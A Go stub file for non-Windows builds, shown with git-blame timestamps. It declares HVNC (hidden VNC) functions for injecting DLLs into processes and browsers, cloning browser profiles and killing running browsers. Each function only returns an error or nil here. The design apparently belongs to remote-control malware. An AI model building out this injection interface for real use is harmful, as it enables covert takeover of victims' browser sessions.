2026-03-11 23:11:44 -05:00
|
|
|
//go:build !windows
|
|
|
|
|
|
|
|
|
|
package capture
|
|
|
|
|
|
|
|
|
|
import "errors"
|
|
|
|
|
|
2026-04-17 09:56:04 -05:00
|
|
|
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) {
|
|
|
|
|
return 0, errors.New("HVNC injection not supported on this platform")
|
2026-03-11 23:11:44 -05:00
|
|
|
}
|
|
|
|
|
|
2026-04-16 10:01:49 -05:00
|
|
|
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
|
2026-03-11 23:11:44 -05:00
|
|
|
return errors.New("HVNC injection not supported on this platform")
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-12 14:41:03 -05:00
|
|
|
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
|
2026-04-16 14:22:28 -05:00
|
|
|
type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
|
2026-03-12 14:41:03 -05:00
|
|
|
|
2026-04-16 14:22:28 -05:00
|
|
|
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc) error {
|
2026-03-11 23:11:44 -05:00
|
|
|
return errors.New("HVNC injection not supported on this platform")
|
|
|
|
|
}
|
2026-04-17 09:56:04 -05:00
|
|
|
|
|
|
|
|
func CheckInstalledBrowsers() map[string]bool {
|
|
|
|
|
return nil
|
|
|
|
|
}
|